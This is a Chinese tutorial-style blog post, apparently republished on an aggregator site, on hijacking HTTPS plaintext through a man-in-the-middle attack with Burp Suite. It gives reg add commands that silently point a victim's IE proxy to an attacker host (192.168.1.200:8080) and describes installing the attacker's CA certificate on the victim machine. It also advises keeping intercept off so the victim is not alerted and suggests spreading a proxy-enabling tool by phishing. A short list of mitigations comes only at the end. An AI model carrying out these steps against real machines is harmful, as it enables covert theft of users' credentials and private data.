中间人攻击之劫持HTTPS明文数据

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了中间人攻击之劫持HTTPS明文数据相关的知识,希望对你有一定的参考价值。

  敏感数据的安全传输是网络安全技术的一个重要的组成部分,多数认为只有https是最好的实践,姑且不考虑ssl证书的价格,至少https也不是绝对安全的,当遭受中间人劫持攻击的时候也会获取到传输中的明文数据,具体攻击原理见《HTTPS连接过程以及中间人攻击劫持》,但是这篇文章也说了,使用中间人攻击手段必须让客户端信任中间人的证书,否则攻击无效。因此这种攻击方式难度大且不方便攻击,但是并不是说不能实现。个人认为至少有以下两种方式可以进行利用:
  一、获取服务器的远程桌面登录权限后,设置客户端信任中间人的证书!
  二、使用物理攻击,获取到被攻击者的电脑后,设置客户端信任中间人的证书

1.1.1 设置客户端信任中间人证书

  这里的中间人我们借助burpsuite,然后实现本次的一个https劫持攻击。首先我们需要客户端(被攻击者的电脑)信任burpsuite的证书,即进行安装burpsuite的CA证书,具体配置见官方配置

1.1.2 攻击条件

  通过思考我们发现,目前的利用也是存在有一定的限制的,姑且理解为技术不够。攻击条件主要有以下几方面:
  一、服务器需要是windows主机。
  二、攻击者需要有独立外网主机(或者同一局域网中)。
  三、拥有服务器的远程桌面控制权,或者临时拥有被攻击者的电脑。
  对于第三个条件简单说明下,拥有服务器的远程桌面控制权,不一定能获取到应用系统中存在的敏感数据或者数据库中的数据,例如,你在一个网站(只有一个登陆页面)处检测出了命令执行漏洞,可以执行命令,但是权限不是很高(即使权限很高,除非你只感兴趣服务器的控制权而不是应用系统中的敏感数据),此时我们就可以使用这种攻击方式了!

1.1.3 实验环境介绍

  操作系统:Microsoft Windows Server 2008 R2 Enterprise,IP:192.168.1.25
  用户权限组:*Users
  使用工具:burpsuite
  攻击者IP:192.168.1.200

1.1.4 配置攻击者burpsuite

  由于我们是要获取被攻击者传过来的数据包,而被攻击者往往都是处于内网,外网访问多数是通过映射出来的,所以我们设置我们的burpsuite的代理为任意ip过来的数据包,如下图所示:
技术分享图片

1.1.5 设置被攻击者IE代理

  如果能进入到桌面环境,可以通过图形化界面进行设置IE代理,如下图所示:
技术分享图片
  如果不能进入到远程桌面,我们可以使用下面命令进行设置IE代理:
``` //开启代理!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f
//设置代理ip及端口,为攻击者的ip,端口与burpsuite设置保持一致!
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /d "192.168.1.200:8080" /f
//关闭设置的代理可以使用下面的命令:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f


  以上命令经测试只要是users用户组即可成功执行,如下图所示,为了方便我们可以将开启和关闭的命令分别写为bat批处理文件。
 ![](http://i2.51cto.com/images/blog/201805/01/d71eebe50b65029774def69fc80b95fe.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
## 1.1.6 获取劫持后的明文数据
  为了不让被攻击者怀疑,我们不要开启截断功能,如下图所示:
 ![](http://i2.51cto.com/images/blog/201805/01/a174d0ddcf6fbdd7b3188ed0e6e5ee82.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
  现在攻击者只需要等待被攻击者使用浏览器访问相关网站,即使是https的站点我们同样能劫持到明文数据,如下图所示:
 ![](http://i2.51cto.com/images/blog/201805/01/fbe03e8f88f484283ce0aeec96f4d1f7.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
## 1.1.7 总结及修复建议
  另外如果只是http的网站的话,上面的攻击难度及危害会大大增加,因为不需要设置客户端去信任中间人的证书这一环节,只需要设置客户端的代理即可,而这一个可以使用钓鱼的方式将开启代理功能的工具进行传播就可以,或者只需要一个简单命令执行shell,普通权限就可以!修复建议参考如下:
  一、对服务器进行安全加固,防止利用服务器漏洞进行攻击!
  二、设置浏览器不要使用默认的系统代理,即IE全局代理!
  三、加强安全意识,离开电脑的时候记得设置密码锁屏,借电脑给别人用的时候尽量在旁边,使用完成后检查是否有异常!

以上是关于中间人攻击之劫持HTTPS明文数据的主要内容,如果未能解决你的问题,请参考以下文章

http与重放攻击

怎么才能防止SSL劫持

话说HTTPS连接过程以及中间人攻击劫持这点事

HTTPS连接过程以及中间人攻击劫持

HEIST攻击解析 | 从HTTPS加密数据中获取明文

HTTPS协议之SSL/TLS详解(下)